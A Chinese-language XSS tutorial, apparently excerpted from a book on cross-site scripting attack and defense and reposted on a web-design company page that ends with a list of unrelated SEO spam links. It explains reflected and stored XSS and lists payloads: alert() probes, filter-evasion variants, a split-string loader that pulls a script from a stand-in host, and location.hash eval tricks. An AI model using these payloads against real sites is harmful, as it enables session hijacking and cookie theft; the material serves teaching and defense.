当前位置: 首页 > news >正文

山东网站建设公司企业文化案例

山东网站建设公司,企业文化案例,广州建站业务公司,高级网站设计目录 跨站脚本介绍 1. 什么是XSS跨站脚本 2. XSS跨站脚本实例 3. XSS漏洞的危害 XSS的分类 1. 反射型XSS 2. 持久性XSS XSS构造 1. 利用< >标记注射Html /Javascript 2. 利用HTML标签属性值执行XSS 3. 空格回车Tab 4. 对标签属性值转码 5. 产生自己的事件…

目录

跨站脚本介绍

1. 什么是XSS跨站脚本

2. XSS跨站脚本实例

3. XSS漏洞的危害

XSS的分类 

1. 反射型XSS

2. 持久性XSS

XSS构造 

1. 利用< >标记注射Html /Javascript

2. 利用HTML标签属性值执行XSS 

3. 空格回车Tab

4. 对标签属性值转码

5. 产生自己的事件 

6. 利用CSS跨站剖析 

7. 扰乱过滤规则

8. 拆分跨站法 

Shellcode的调用 

1. 动态调用远程 JavaScript

2. 使用window.location.hash 


 

跨站脚本介绍

1. 什么是XSS跨站脚本

攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

2. XSS跨站脚本实例

<html>

        <head>test</head>

        <body>

                <script>alert("XSS")</script>

         </body>

</html>

这是一段很简单的HTML代码,其中包括一个JavaScript语句块,该语句块使用内置的alert()函数来打开一个消息框,消息框中显示XSS信息。把以上代码保存为HTM或HTML文件,然后用浏览器打开。 

XSS输入也可能是HTML代码段,如要使网页不停地刷新,代码为:

<meta http-equiv="refresh" content="0;">

<html> <head>   <title> XSS测试 </title> </head> <body>   <form action="XSS.php" method="POST">请输入名字:<br><input type="text"name="name" value=""></input>    <input type="submit" value="提交"></input> </body>
</html>

嵌入其他网站的链接,代码为:

<iframe src=http://www.test.com width=0 height=0></iframe> 


html文件: 

<html> <head>   <title> XSS测试 </title> </head> <body>   <form action="XSS.php" method="POST">请输入名字:<br><input type="text"name="name" value=""></input>    <input type="submit" value="提交"></input> </body>
</html>

php文件:

<html> <head>   <title> 测试结果 </title> </head> <body>  <?php echo $_REQUEST[name];?> </body>
</html>

以上代码使用$_REQUEST[name]获取用户输入的name变量,然后直接echo输出。打开测试页面,随便输入一些信息,例如Lisa,然后单击【提交】按钮,页面把我们刚刚输入完完整整地输出来了。

3. XSS漏洞的危害

(1)网络钓鱼,包括盗取各类用户账号;

(2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

(3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;

(4)强制弹出广告页面、刷流量等;

(5)网页挂马;

(6)进行恶意操作,例如任意篡改页面信息、删除文章等;(

(7)进行大量的客户端攻击,如DDoS攻击;

(8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;

(9)控制受害者机器向其他网站发起攻击;

(10)结合其他漏洞,如CSRF漏洞,实施进一步作恶;

(11)提升用户权限,包括进一步渗透网站;(

(12)传播跨站脚本蠕虫等;

   ……

XSS的分类 

1. 反射型XSS

反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。

将恶意脚本附加到URL地址的参数中:

http://www.test.com/search.php?key="><script>alert("XSS")</script>

2. 持久性XSS

此类XSS不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

XSS构造 

1. 利用< >标记注射Html /Javascript

<script>alert('XSS'); </script>

2. 利用HTML标签属性值执行XSS 

<table background="javascript:alert(/xss/)"></table>

3. 空格回车Tab

<img src="javas cript:alert(/xss/)" width=100>

4. 对标签属性值转码

<img src="javascrip&#116&#58alert(/XSS/);" >

5. 产生自己的事件 

<input type="button" value="click me" οnclick="alert('click me')" />

6. 利用CSS跨站剖析 

<div style="background-image:url(javascript:alert('XSS'))"><style>

7. 扰乱过滤规则

一个正常的XSS输入:<img src="javascript:alert(0);">

转换大小写后的XSS:<IMG SRC="javascript:alert(0);">

大小写混淆的XSS:<iMg sRC="jaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS:<img src='javascript:alert(0);'>

不使用引号的XSS:<img src=javascript:alert(0);>

8. 拆分跨站法 

<script>z='document.'</script>

<script>z=z+'write("'</script>

<script>z=z+'<script'</script><script>z=z+' src=ht'</script>

<script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script>

<script>z=z+'.net/1.'</script>

<script>z=z+'js></sc'</script>

<script>z=z+'ript>")'</script><script>eval(z)</script>

上述代码的作用是引入一个字符串变量z,并且将下行代码拆分开来:document.write('<script src=//www.shell.net/1.js></script>')

Shellcode的调用 

所谓的 Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行的代码。在XSS跨站脚本中,是指由JavaScript等脚本编写的XSS利用代码。

1. 动态调用远程 JavaScript

可以直接把Shellcode写到URL参数中,如:

http://www.bug.com/veiw.php?sort="><script>alert(/xss/)</script>

这里有个显而易见的缺点,就是恶意代码败露在URL链接中,容易使网站用户产生怀疑。此外,Web应用程序不仅会对当中的恶意代码进行过滤,也会限制URL的字符长度。所以,方便起见,Shellcode可写到其他服务器的文件上,然后再用<script>标签进行动态加载。

2. 使用window.location.hash 

如果仅仅是为了解决URL字符长度问题,还可以使用另一种方式实现Shellcode的存储和调用——利用window.location.hash属性。

location 是 JavaScript 管理地址栏的内置对象,比如 location.href 用来管理页面的 URL,用location.href=url就可以直接将页面重定向URL,而location.hash则可以用来获取或设置页面的标签值。比如 http://domain/#admin 的location.hash="#admin",利用这个属性值可以做一件非常有意义的事情。

http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

substr()可在字符串中抽取从 start 下标(这里是 1 )开始的指定数目的字符,所以location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即alert('xss');而eval()函数用来计算某个字符串,并执行其中的 JavaScript 代码。那么,eval(location.hash.substr(1))的功能就是执行 Url的#之后的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中再执行。 

参考文献:

《XSS跨站脚本攻击剖析与防御》-邱永华-人民邮电出版社-2013-09

http://www.jinmujx.cn/news/117779.html

相关文章:

  • 常州网站建设公司渠道电话营销技巧和营销方法
  • it网站制作策划电商网站对比表格
  • html怎么自己做网站google官方下载app
  • 安卓应用开发软件广州网站营销优化qq
  • 梧州网站建设公司重庆seo网站推广费用
  • 免费建设旅游网站优化课程
  • 做淘宝类网站app拉新佣金排行榜
  • jsp做购物网站技术可行性上海百度推广优化
  • 收录网站工具合肥网站推广公司哪家好
  • 网站的ico图标做多大seo的主要工作是什么
  • 独立站官网搜索引擎营销的内容和层次有哪些
  • 阿里云个人备案可以做企业网站吗百度推广和优化哪个好
  • 工程承包合同范本免费百度如何优化排名靠前
  • 求个网站或者appseo关键词排名优化软件
  • 重庆市建设节能中心网站seo搜索引擎优化推广
  • 大同网站建设哪里好谷歌是如何运营的
  • 游戏网站设计论文seo的工作内容主要包括
  • 自动的网站制作班级优化大师客服电话
  • 怎么把网站管理系统百度sem竞价托管
  • 政府网站建设团队百度搜索排名怎么靠前
  • 如何做网站标题不含关键词的排名网站流量指标有哪些
  • 什么网站容易收录谈谈你对seo概念的理解
  • wordpress mysql用户名搜索引擎的优化和推广
  • 做企业网站价格韶山百度seo
  • 商城网站开发文档2021百度最新收录方法
  • 淘宝客做软件网站app搜狗推广登录平台
  • 做微信小程序合肥seo网站排名
  • 如何用织梦建网站信息如何优化上百度首页
  • 为什么做网站必须用服务器网络营销课程个人总结范文
  • 怎么做网络直播卖衣服的网站方象科技的企业愿景